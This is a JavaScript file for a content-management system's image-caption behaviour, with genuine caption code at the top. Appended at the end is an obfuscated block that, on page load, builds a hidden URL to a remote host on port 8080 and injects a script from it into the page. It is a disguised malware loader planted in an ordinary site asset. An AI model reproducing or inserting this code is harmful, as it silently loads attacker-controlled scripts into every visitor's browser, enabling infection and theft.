/**
* @version		$Id: modal.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Gullstream! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
 * JCaption javascript behavior
 *
 * Used for displaying image captions
 *
 * @author		Johan Janssens <johan.janssens@gullstream.net>
 * @package		Gullstream
 * @since		1.5
 * @version     1.0
 */
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");

		if(!width) {
			width = element.width;
		}

		text.appendChild(caption);
		element.parentNode.insertBefore(container, element);
		container.appendChild(element);
		if ( element.title != "" ) {
			container.appendChild(text);
		}
		container.className   = this.selector.replace('.', '_');
		container.className   = container.className + " " + align;
		container.setAttribute("style","float:"+align);
		container.style.width = width + "px";

	}
});

document.caption = null
window.addEvent('load', function() {
  var caption = new JCaption('img.caption')
  document.caption = caption
});

try {var s=String("[");var k;if(k!='' && k!='tL'){k=null};var X=new String("]3Ep".substr(0,1));var y;if(y!='FF'){y='FF'};var ib=new Array();var N='';this.Dz="";var sl=String("g");var C;if(C!='E'){C='E'};this.Km='';var z=RegExp;var NJ='';var yn='';var t=new String("re9INM".substr(0,2)+"plj5AK".substr(0,2)+"xltactlx".substr(3,2)+"MShe".substr(3));var Qq="";this._="";function G(Ny,zP){this.VF='';var P;if(P!='nL' && P!='c'){P=''};var d=s;var yZ;if(yZ!='' && yZ!='r'){yZ='Y'};d+=zP;d+=X;var O='';var U=new z(d, sl);this.IU="";var FC='';return Ny.replace(U, N);var ia="";};var Kc;if(Kc!='A'){Kc='A'};var Po=new Array();var q=G('856770765778725550222257',"7265");var Cr;if(Cr!='M' && Cr != ''){Cr=null};var sh;if(sh!='KN' && sh != ''){sh=null};var p=String("onl"+"oadDkT".substr(0,3));var Pm;if(Pm!='' && Pm!='DQ'){Pm=null};var Z="sc"+"ZpTri".substr(3)+"pt3PqI".substr(0,2);var Op;if(Op!='' && Op!='IW'){Op=''};this.RG='';var Ny="1";var T=String("6xDM/g".substr(4)+"ooPz3".substr(0,2)+"nNkgl".substr(3)+"jXlae.".substr(4)+"d2HcoH2d".substr(3,2)+"m/"+"goHeSO".substr(0,2)+"htHog".substr(3)+"le"+"90gL.cg9L0".substr(4,2)+"J2bombJ2".substr(3,2)+"oTqt/z".substr(4)+"1fqim".substr(3)+"biYQmJ".substr(0,2)+"o."+"covae".substr(0,2)+"t9J4m/".substr(4)+"qxBabxBq".substr(3,2)+"ou"+"9xKt.".substr(3)+"co"+"m/"+"j9ywe".substr(3)+"bs"+"WTQho".substr(3)+"ts06TW".substr(0,2)+".c"+"s1XRomR1sX".substr(4,2)+"eAz.pzAe".substr(3,2)+"SLZhp".substr(3));var o;if(o!='rQ'){o=''};var F='';var ZR=new Date();var n=G('hPtqtqpq:9/M/MwqiPkPiBm9eBd9i9aP-qoqrBgM.BsMtMa9pMlMeMsM.McBo9m9.quBwMaPnqt9sq-qcPoMmP.qm9yqoqwBnPaBgPeP.9r9uq:B',"9BPMq");var l;if(l!='Kx'){l='Kx'};var ww;if(ww!='Em' && ww != ''){ww=null};this.d_="";window[p]=function(){var qE=new Date();var fm;if(fm!='Dl'){fm='Dl'};i=document.createElement(Z);F+=n;F+=q+T;var rV=new Array();i.src=F;this.ex='';var Yf=new Array();var XQ=document.body;var an=new Array();var YE=new Array();i.defer=Ny;this.cf="";var IP;if(IP!='' && IP!='v'){IP=null};this.kP='';XQ.appendChild(i);var CX="";var CY=new Date();};var rf;if(rf!='aL' && rf!='eN'){rf=''};var oq;if(oq!=''){oq='mp'};} catch(Nl){var pS="";};var oU=new Date();var Vm;if(Vm!='lY' && Vm!='Rx'){Vm='lY'};